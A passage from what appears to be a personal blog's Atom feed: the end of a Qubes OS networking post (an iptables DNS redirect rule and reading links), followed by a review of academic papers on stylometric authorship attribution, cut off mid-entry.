-A PR-QBS -d 10.137.3.254/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 8.8.8.8
...&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="future-readings"&gt;Future readings&lt;/h2&gt;
&lt;p&gt;About networking and sysadmin:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://lartc.org/howto/"&gt;Linux Advanced Routing &amp;amp; Traffic Control HOWTO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.qubes-os.org/doc/vpn/"&gt;Qubes OS VPN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bugzilla.netfilter.org/show_bug.cgi?id=693"&gt;Netfilter bug&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.smythies.com/~doug/network/iptables_notes/"&gt;Iptables notes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Qubes related:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.qubes-os.org/news/2019/12/25/qsb-056/"&gt;QSB-056&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/QubesOS/qubes-core-agent-linux/pull/209"&gt;PR 209&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/QubesOS/qubes-core-agent-linux/pull/201"&gt;PR 201&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://linux-ip.net/linux-ip/"&gt;Linux IP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linuxjournal.com/content/linux-advanced-routing-tutorial"&gt;Linux Advanced Routing Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theinvisiblethings.blogspot.com/2011/09/playing-with-qubes-networking-for-fun.html"&gt;Playing with Qubes networking for fun&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/11/19/Qubes-Networking.html" rel="alternate" type="text/html" title="Qubes OS Networking"/>
    <category term="qubes" label="qubes"/>
    <category term="networking" label="networking"/>
    <category term="ip" label="ip"/>
    <category term="route" label="route"/>
    <category term="arp" label="arp"/>
    <category term="firewall" label="firewall"/>
    <category term="iptables" label="iptables"/>
    <published>2020-11-19T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/11/12/TLDR-Stylometrics.html</id>
    <title>TL;DR Stylometrics</title>
    <updated>2020-11-12T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A ghost writer is a person that writes a document, essay or paper but the work is presented by other person who &lt;em&gt;claims&lt;/em&gt; to be the author.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://thebestschools.org/resources/detecting-deterring-ghostwritten-papers-best-practices/"&gt;Detecting deterring ghostwritten papers&lt;/a&gt; is an article written by a (ex)ghost writer and explains what happens behind the scene when a student pays for this &lt;em&gt;dark&lt;/em&gt; service.&lt;/p&gt;
&lt;p&gt;Would be possible to detect this in an automated way?&lt;/p&gt;
&lt;p&gt;Given a set of documents, could we determine of they were written or not by the person or people who claim to be the authors?&lt;/p&gt;
&lt;p&gt;This problem is known as &lt;em&gt;authorship attribution&lt;/em&gt; and I will show a few papers that I read about this, in particular around the concept of &lt;em&gt;stylometric&lt;/em&gt;, fingerprints that the real author leaves when he or she writes.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="application-papers"&gt;Application papers&lt;/h2&gt;
&lt;h3 id="who-wrote-the-15th-book-of-oz-an-application-of-multivariate-analysis-to-authorship-attribution"&gt;&lt;em&gt;Who Wrote the 15th Book of Oz? An Application of Multivariate Analysis to Authorship Attribution&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6Ckpvc8OpIE5pbG8gRy4gQmlub25nbwogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6Ckpvc8OpIE5pbG8gRy4gQmlub25nbwogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: José Nilo G. Binongo
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;An application case for authorship attribution called also &lt;em&gt;a non-traditional method of attibuting authorship&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The author categories several writings of the universe of Oz to determine the author of “The Royal Book of Oz” among two options: Lyman Frank Baum, the creator of the Oz universe and Ruth Plumly Thompson, a children’s writer that continued the work of Baum.&lt;/p&gt;
&lt;p&gt;The feature selected was the frequency of the &lt;em&gt;functional words&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“Among the parts of speech, function words are made up of pronouns, auxiliary verbs, prepositions, conjunctions, determiners, and degree adverbs. These parts of speech have a more grammatical than lexical function.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Some functional words are more specific and inherent has more meaning (content). Depending of the book these may appear more or less.&lt;/p&gt;
&lt;p&gt;Because the frequency depends of the content and not on the author, these “more specific” functional words are removed.&lt;/p&gt;
&lt;p&gt;The author of the paper takes the top 50 of the most frequency functional words to remove these “too specific” words.&lt;/p&gt;
&lt;p&gt;The 50 dimensionality is then mapped (reduced) to 2 using principal component analysis (PCA).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A very good paper.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="delta-for-middle-dutchauthor-and-copyist-distinction-in-walewein"&gt;&lt;em&gt;Delta for Middle DutchAuthor and Copyist Distinction in Walewein&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6CkthcmluYSB2YW4gRGFsZW4tT3NrYW0gYW5kIEpvcmlzIHZhbiBadW5kZXJ0CgpIdXlnZW5zIEluc3RpdHV1dCwgVGhlIEhhZ3VlLCBUaGUgTmV0aGVybGFuZHMKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6CkthcmluYSB2YW4gRGFsZW4tT3NrYW0gYW5kIEpvcmlzIHZhbiBadW5kZXJ0CgpIdXlnZW5zIEluc3RpdHV1dCwgVGhlIEhhZ3VlLCBUaGUgTmV0aGVybGFuZHMKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Karina van Dalen-Oskam and Joris van Zundert
&lt;br /&gt;&lt;br /&gt;
Huygens Instituut, The Hague, The Netherlands
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The Walewein text is known to be written by one author and then continued by a second author.&lt;/p&gt;
&lt;p&gt;The authors of the paper used stylometric to determine where one author picked and continued the work of the former.&lt;/p&gt;
&lt;p&gt;The authors decided to lemmatize the text.&lt;/p&gt;
&lt;p&gt;Lemmatize a text means to take the words and rewrite them in a normalized way. For example words like “play, playing, played” are mapped to a single “play” verb.&lt;/p&gt;
&lt;p&gt;Then they used Yule’s K and Burrows’ Delta metrics over a rolling window of 2000 lines of text.&lt;/p&gt;
&lt;p&gt;Yule’s Characteristic K is a estimation of the richness of a text: text with a lot of repeated words are said to be less rich while the text with less repeated words &lt;em&gt;has more vocabulary&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;K is defines as:&lt;/p&gt;
$$ K = 10^4 \left( -\frac{1}{N} + \sum_{i = 1}^{N} V_i \left( \frac{i}{N} \right)^2 \right) $$
&lt;p&gt;where \(N\) is the count of words in a text and \(V_i\) the number of words that appeared \(i\) times.&lt;/p&gt;
&lt;p&gt;Burrows’ Delta models a set of documents as a matrix.&lt;/p&gt;
&lt;p&gt;Each document is modeled as a algebraic vector where each position represent a word and contains the frequency of that word.&lt;/p&gt;
&lt;p&gt;The frequencies per document are normalizes so they sum up 1.&lt;/p&gt;
&lt;p&gt;The vectors are then stacked forming a matrix having in each column the frequencies of a particular word in all the documents.&lt;/p&gt;
&lt;p&gt;Each column is normalized such the mean or average of them is 0 and the standard deviation is 1. A procedure common in ML.&lt;/p&gt;
&lt;p&gt;The Delta between to documents is then the Manhattan distance between their two vectors.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Interesting reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="survey-papers"&gt;Survey Papers&lt;/h2&gt;
&lt;h3 id="a-framework-for-authorship-identification-of-online-messages-writing-style-features-and-classification-techniques"&gt;&lt;em&gt;A Framework for Authorship Identification of Online Messages: Writing-Style Features and Classification Techniques&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6ClJvbmcgWmhlbmcsIEppZXh1biBMaSwgSHNpbmNodW4gQ2hlbiwgYW5kIFphbiBIdWFuZwoKTmV3IFlvcmsgVW5pdmVyc2l0eSwgVW5pdmVyc2l0eSBvZiBBcml6b25hCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6ClJvbmcgWmhlbmcsIEppZXh1biBMaSwgSHNpbmNodW4gQ2hlbiwgYW5kIFphbiBIdWFuZwoKTmV3IFlvcmsgVW5pdmVyc2l0eSwgVW5pdmVyc2l0eSBvZiBBcml6b25hCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Rong Zheng, Jiexun Li, Hsinchun Chen, and Zan Huang
&lt;br /&gt;&lt;br /&gt;
New York University, University of Arizona
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“key-word-based features are widely accepted to be ineffective in author identification in multiple- topic corpora”&lt;/em&gt; But there are exception if the content-words denotes a particular knowledge about a topic that could be correlated with the author.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An example of this is the “Walewein” paper where the 100-150 most common words which are principally composed of content-words were able to distinguish the two authors of a text while the 1-50 most common words, principally function-words, were able to detect the scribes that also modified the text.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The paper summarizes the features used by several papers (2006):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lexical: average word/sentence length, vocabulary richness&lt;/li&gt;
&lt;li&gt;syntactic: freq of words, use of punctuation&lt;/li&gt;
&lt;li&gt;structural: paragraph length, indentation, greeting/farewell statements&lt;/li&gt;
&lt;li&gt;content-specific: freq of keywords&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The structural seems very interesting. Opening phrases (like “In my opinion I …”) could be very characteristic of the author. The use of listing (the ones that begin with &lt;code&gt;'-'&lt;/code&gt; or &lt;code&gt;'*'&lt;/code&gt;) also.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Table 3 describes more of these in details.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“Structural features and content-specific features showed particular discriminating capabilities for authorship identification on online messages. SVM and neural networks outperformed C4.5 and neural networks significantly for the authorship-identification task.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Most of the cited papers analyze very small set of documents (~80) and a very small set of authors (~4).&lt;/p&gt;
&lt;p&gt;Some exceptions have 300 or even 1200 documents and 7, 10 and 45 authors.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quite small&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;“Content-specific features improved the performance of the three classifiers signifi- cantly for the English datasets […] e.g., some people preferred check as a payment method; some people mostly sell Microsoft products).”&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I don’t think that this is true in general (like a characteristic of the author). The dataset used in the paper has a very broad topic so it is possible that some people wrote only about a sub topic and other people about another hence having the discriminant.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Very good paper to read it again.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="a-prototype-for-authorship-attribution-studies"&gt;&lt;em&gt;A Prototype for Authorship Attribution Studies&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6ClBhdHJpY2sgSnVvbGEsIEpvaG4gU29ma28sIFBhdHJpY2sgQnJlbm5hbgoKRHVxdWVzbmUgVW5pdmVyc2l0eQogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6ClBhdHJpY2sgSnVvbGEsIEpvaG4gU29ma28sIFBhdHJpY2sgQnJlbm5hbgoKRHVxdWVzbmUgVW5pdmVyc2l0eQogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Patrick Juola, John Sofko, Patrick Brennan
&lt;br /&gt;&lt;br /&gt;
Duquesne University
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A survey of the current state of the art. It points to some other resources and shows some results but nothing concrete.&lt;/p&gt;
&lt;p&gt;The authors proposes a three-phases “framework” to develop/research stylometrics: canonization, determination of the event set and statistical inference.&lt;/p&gt;
&lt;p&gt;In short: extract text from the media, remove spurious noise and apply other kind of filtering/normalization (canonization); from there select the features to analyze and possible eliminate uninteresting events (determination) and finally perform a machine learning technique (inference).&lt;/p&gt;
&lt;p&gt;A current practice these days.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;Java Graphical Authorship Attribution Program&lt;/em&gt; or JGAAP program is mentioned.&lt;/p&gt;
&lt;p&gt;A substantial part of the paper focus in uninteresting parts of JGAAP like the Graphical User Interface (GUI), saving/loading files and high level code description.&lt;/p&gt;
&lt;h2 id="more-theoretical-like-papers"&gt;More Theoretical-like Papers&lt;/h2&gt;
&lt;h3 id="computational-constancy-measures-of-textsyules-k-and-rényis-entropy"&gt;&lt;em&gt;Computational Constancy Measures of TextsYule’s K and Rényi’s Entropy&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6Ckt1bWlrbyBUYW5ha2EtSXNoaWksIFNodW5zdWtlIEFpaGFyYQoKS3l1c2h1IFVuaXZlcnNpdHksIEpTVC1QUkVTVE8sIEd1bm9zeSBJbmMuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6Ckt1bWlrbyBUYW5ha2EtSXNoaWksIFNodW5zdWtlIEFpaGFyYQoKS3l1c2h1IFVuaXZlcnNpdHksIEpTVC1QUkVTVE8sIEd1bm9zeSBJbmMuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Kumiko Tanaka-Ishii, Shunsuke Aihara
&lt;br /&gt;&lt;br /&gt;
Kyushu University, JST-PRESTO, Gunosy Inc.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“A constancy measure for a natural language text is […] a computational measure that converges to a value for a certain amount of text and remains invariant for any larger size […], its value could be considered as a text characteristic.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Yule’s K is defined as&lt;/p&gt;
$$ K = C \left( -\frac{1}{N} + \sum_{i = 1}^{imax} V(i,N) \left( \frac{i}{N} \right)^2 \right) $$
&lt;p&gt;where \(N\) is the total number of words in the text, \(V(N)\) the number of distinct words, \(V(i,N)\) the number of words that appear \(i\) times and \(imax\) the largest frequency of a word.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We could use \(N\) as \(imax\) because for the \(i\) that \(imax &lt; i &lt;= N\) the value of \(V(i,N)\) is zero but using \(imax\) directly is faster.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The constant \(C\) was defined by Yule to \(10^4\).&lt;/p&gt;
&lt;p&gt;Golcher’s V is defines as \(k/N\) where \(N\) is the length of the string and \(k\) the number of inner nodes of a Patricia suffix tree of the text.&lt;/p&gt;
&lt;p&gt;The paper describes other metrics including \(H_a\), the Renyi Entropy, a generalization of the Shannon entropy defined as:&lt;/p&gt;
$$ H_a(X) = \frac{1}{1-a} \textrm{log} \left( \sum_{\forall X} P(X)^a \right) $$
&lt;p&gt;Where \(a ≥ 0\), \(a ≠ 1\), \(P(X)\) the probability function of \(X\).&lt;/p&gt;
&lt;p&gt;When \(a = 0\), it reduces to \(H_0(X) = 1 \textrm{log} \left( \sum_{\forall X} 1 \right)\), then \(H_0(X) = \textrm{log} ( |X| )\) (aka indicates the number of distinct occurrences of \(X\))&lt;/p&gt;
&lt;p&gt;When a approximates to 1 (limit), \(H\) reduces to Shannon entropy.&lt;/p&gt;
&lt;p&gt;For \(H_2(X)\) the authors shown that &lt;em&gt;“[\(H_2\)] immediately shows the essential equivalence to Yule’s K&lt;/em&gt;”&lt;/p&gt;
&lt;p&gt;The authors shown empirically that \(H_2\) converges to a value for texts of between \(10^2\) and \(10^4\) words/characters depending of \(H_2\) was defined for words or characters respectively.&lt;/p&gt;
&lt;p&gt;The authors also shown that \(H_2\) is not a good discriminant for authorship: &lt;em&gt;“Examining the nature of the convergent values revealed that K does not possess the discriminatory power of author identification as Yule had hoped.”&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;\(H_2\) or Yule’s Y converges fast so it could be applied to short terms. Defined as it was in the paper (for words and characters) it will not work for authorship attribution but it may work under a different feature set (input) instead of words/characters.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="cross-entropy-and-linguistic-typology"&gt;&lt;em&gt;Cross-entropy and linguistic typology&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6ClBhdHJpY2sgSnVvbGEKClVuaXZlcnNpdHkgb2YgT3hmb3JkCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6ClBhdHJpY2sgSnVvbGEKClVuaXZlcnNpdHkgb2YgT3hmb3JkCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Patrick Juola
&lt;br /&gt;&lt;br /&gt;
University of Oxford
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Describes briefly the application of the &lt;em&gt;cross-entroy&lt;/em&gt; for language categorization.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“Cross-entropy appears to be a meaningful and easy to measure method of determining”linguistic distance” that is more sensitive to variances in lexical choice, word usage, style, and syntax than conventional methods.”&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="understanding-and-explaining-delta-measures-for-authorship-attribution"&gt;&lt;em&gt;Understanding and explaining Delta measures for authorship attribution&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6ClN0ZWZhbiBFdmVydCwgVGhvbWFzIFByb2lzbCwgRm90aXMgSmFubmlkaXMsIElzYWJlbGxhIFJlZ2VyLCBTdGVmZmVuIFBpZWxzdHLDtm0sIENocmlzdG9mIFNjaMO2Y2ggYW5kIFRob3JzdGVuIFZpdHQKCkZyaWVkcmljaC1BbGV4YW5kZXItVW5pdmVyc2l0w6R0IEVybGFuZ2VuLU7DvHJuYmVyZyBhbmQgSnVsaXVzLU1heGltaWxpYW5zLVVuaXZlcnNpdMOkdCBXw7xyemJ1cmcKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6ClN0ZWZhbiBFdmVydCwgVGhvbWFzIFByb2lzbCwgRm90aXMgSmFubmlkaXMsIElzYWJlbGxhIFJlZ2VyLCBTdGVmZmVuIFBpZWxzdHLDtm0sIENocmlzdG9mIFNjaMO2Y2ggYW5kIFRob3JzdGVuIFZpdHQKCkZyaWVkcmljaC1BbGV4YW5kZXItVW5pdmVyc2l0w6R0IEVybGFuZ2VuLU7DvHJuYmVyZyBhbmQgSnVsaXVzLU1heGltaWxpYW5zLVVuaXZlcnNpdMOkdCBXw7xyemJ1cmcKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Stefan Evert, Thomas Proisl, Fotis Jannidis, Isabella Reger, Steffen Pielström, Christof Schöch and Thorsten Vitt
&lt;br /&gt;&lt;br /&gt;
Friedrich-Alexander-Universität Erlangen-Nürnberg and Julius-Maximilians-Universität Würzburg
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Describes and analyzes Burrows’ Delta distance based on the Manhattan distance and different variations of it including Euclidean, Linear and Cosine distances.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A paper to review later if required.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="good-but-no-so-good-papers"&gt;Good but no so good papers&lt;/h2&gt;
&lt;h3 id="whos-at-the-keyboard-authorship-attribution-in-digital-evidence-investigations"&gt;&lt;em&gt;Who’s At The Keyboard? Authorship Attribution in Digital Evidence Investigations&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6CkNhcm9sZSBFLiBDaGFza2kuCgpJbnN0aXR1dGUgZm9yIExpbmd1aXN0aWMgRXZpZGVuY2UsIEluYwogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6CkNhcm9sZSBFLiBDaGFza2kuCgpJbnN0aXR1dGUgZm9yIExpbmd1aXN0aWMgRXZpZGVuY2UsIEluYwogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Carole E. Chaski.
&lt;br /&gt;&lt;br /&gt;
Institute for Linguistic Evidence, Inc
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The paper presents the results of some other researches. The one that scored the highest authorship attribution was:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“counting particular errors or idiosyncrasies and inputting this into a statistical classification procedure &lt;a href="using"&gt;…&lt;/a&gt; supported vector machines (SVM) and C4.5 analysis”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The paper names these as &lt;em&gt;“stylemarkers”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For stylometrics, the paper mentions references to other papers where they used &lt;em&gt;“word length, phrase length, sentence length, vocabulary frequency, distribution of words of different lengths”&lt;/em&gt; as features and SVM (with accuracy that oscillated between 46% and 100%), discriminant function analysis (accuracy between 87% and 89%) and using neural networks (accuracy 84%).&lt;/p&gt;
&lt;p&gt;The dataset for the paper consisted on several writings from several authors about 10 different topics.&lt;/p&gt;
&lt;p&gt;While the paper takes into consideration some biases like age and gender the 10 topics are to my opinion biased to “personal topics”.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“Describe a traumatic or terrifying event in your life and how you overcame it.”&lt;/em&gt; is an example.&lt;/p&gt;
&lt;p&gt;The paper uses the ALIAS software and restricts the analysis of the samples to only &lt;em&gt;“punctuation, syntactic and lexical”&lt;/em&gt; features.&lt;/p&gt;
&lt;p&gt;The punctuation consists of counting the &lt;em&gt;placement&lt;/em&gt; of the punctuation marks: at the end of clause (EOC), at the end of phrase (EOP) and in the middle of a word (like the dash in “re-invent” or the apostrophe in “don’”)&lt;/p&gt;
&lt;p&gt;The author claims that this is &lt;em&gt;“slighter better performance”&lt;/em&gt; than the counting of the punctuation mark alone where the placement is ignored.&lt;/p&gt;
&lt;p&gt;The syntactic structures refers to the way that a “common” construction deviates to an “uncommon” construction.&lt;/p&gt;
&lt;p&gt;The “common/uncommon” are named “unmarked/marked” constructions. This is the technical name and “common/uncommon” are the names that I gave them due my lack of expertise in the topic.&lt;/p&gt;
&lt;p&gt;A “common” (unmarked) construction could be “how old are you?”. In English we could say “old” and “young” but it is very common to use “old” for some reason. The “uncommon” (marked) would be “how young are you?”.&lt;/p&gt;
&lt;p&gt;The “common/uncommon” does not limit to words but to phrases as well, no only in literal phrases but in the &lt;em&gt;syntax&lt;/em&gt; of these.&lt;/p&gt;
&lt;p&gt;“the white house” follows the &lt;code&gt;&amp;lt;adjetive&amp;gt; &amp;lt;noun&amp;gt;&lt;/code&gt; “common” pattern.&lt;/p&gt;
&lt;p&gt;While it is clear that these “common/uncommon” feature could spot non-native writers, it is not very clear to me how to use it for authorship attribution in general.&lt;/p&gt;
&lt;p&gt;Perhaps seeing repetitive patterns in the “uncommon” parts of a phrase? Like “the big white house” and “the white big house”: the order of the adjetives may leave a fingerprint of the author.&lt;/p&gt;
&lt;p&gt;The last feature is lexical features (word lengths, and stuff like that). The paper distinguishes between functional and content words but use both.&lt;/p&gt;
&lt;p&gt;These features (punctuation, syntactic and lexical) are extracted using ALIAS. Sadly it is a paid, closed source software (done by the author of the paper) and the dataset seems to be closed too.&lt;/p&gt;
&lt;p&gt;For the “machine learning” part, the paper used linear discriminant function analysis (DFA).&lt;/p&gt;
&lt;h3 id="determination-of-writing-styles-to-detect-similarities-in-digital-documents"&gt;&lt;em&gt;Determination of writing styles to detect similarities in digital documents&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6CllvaGFuZHJpIFJpbCBHaWwsIFl1bmlldCBkZWwgQ2FybWVuIFRvbGwgUGFsbWEsIEVkZHkgRm9uc2VjYSBMYWhlbnMKClVuaXZlcnNpdHkgb2YgSW5mb3JtYXRpb24gU2NpZW5jZXMsIEhhdmFuYQogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6CllvaGFuZHJpIFJpbCBHaWwsIFl1bmlldCBkZWwgQ2FybWVuIFRvbGwgUGFsbWEsIEVkZHkgRm9uc2VjYSBMYWhlbnMKClVuaXZlcnNpdHkgb2YgSW5mb3JtYXRpb24gU2NpZW5jZXMsIEhhdmFuYQogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Authors: Yohandri Ril Gil, Yuniet del Carmen Toll Palma, Eddy Fonseca Lahens
&lt;br /&gt;&lt;br /&gt;
University of Information Sciences, Havana
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The paper describes a stylometric mathematical model:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;frequency of stop words: articles, prepositions, adverbs and conjunctions.&lt;/li&gt;
&lt;li&gt;level of difficulty: what’s the &lt;em&gt;education level&lt;/em&gt; required to understand the text. It uses the Flesch-Kincaid index (English only).&lt;/li&gt;
&lt;li&gt;richness of vocabulary&lt;/li&gt;
&lt;li&gt;mean sentence length&lt;/li&gt;
&lt;li&gt;mean word length&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The authors claim that &lt;em&gt;“The proposed method for determining writing styles can be used in a scenario where it is necessary to describe documents whose authorship has been validated.”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But the “discussion and conclusions” section talks more about the underlying motivation for a person to do plagiarism than about the model.&lt;/p&gt;
&lt;p&gt;They also claim&lt;/p&gt;
&lt;p&gt;&lt;em&gt;“The extraction of the style vector marks the difference between authors, whether or not they cover the same topic. By applying the proposed mathematical model to a considerable set of documents, it was found that trends really do exist when it comes to drafting, and that such trends put a stamp of authenticity onto a document.”&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In a personal opinion, I’m have my doubts about these statements based on the few numbers shown in the paper.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="stylometry-based-approach-for-detecting-writing-style-changes-in-literary-texts"&gt;&lt;em&gt;Stylometry-based Approach for Detecting Writing Style Changes in Literary Texts&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='CkF1dGhvcnM6CkhlbGVuYSBHw7NtZXotQWRvcm5vLCBKdWFuLVBhYmxvIFBvc2FkYXMtRHVyYW4sIEdlcm3DoW4gUmlvcy1Ub2xlZG8sIEdyaWdvcmkgU2lkb3JvdiwgR2VyYXJkbyBTaWVycmEKCkluc3RpdHV0byBQb2xpdMOpY25pY28gTmFjaW9uYWwsIE1leGljbzsgVW5pdmVyc2lkYWQgTmFjaW9uYWwgQXV0w7Nub21hIGRlIE3DqXhpY28sIE1leGljbzsgSW5zdGl0dXRvIFBvbGl0w6ljbmljbyBOYWNpb25hbCAoSVBOKSwgTWV4aWNvOyBDZW50cm8gTmFjaW9uYWwgZGUgSW52ZXN0aWdhY2nDs24geSBEZXNhcnJvbGxvIFRlY25vbMOzZ2ljbywgTWV4aWNvCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkF1dGhvcnM6CkhlbGVuYSBHw7NtZXotQWRvcm5vLCBKdWFuLVBhYmxvIFBvc2FkYXMtRHVyYW4sIEdlcm3DoW4gUmlvcy1Ub2xlZG8sIEdyaWdvcmkgU2lkb3JvdiwgR2VyYXJkbyBTaWVycmEKCkluc3RpdHV0byBQb2xpdMOpY25pY28gTmFjaW9uYWwsIE1leGljbzsgVW5pdmVyc2lkYWQgTmFjaW9uYWwgQXV0w7Nub21hIGRlIE3DqXhpY28sIE1leGljbzsgSW5zdGl0dXRvIFBvbGl0w6ljbmljbyBOYWNpb25hbCAoSVBOKSwgTWV4aWNvOyBDZW50cm8gTmFjaW9uYWwgZGUgSW52ZXN0aWdhY2nDs24geSBEZXNhcnJvbGxvIFRlY25vbMOzZ2ljbywgTWV4aWNvCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
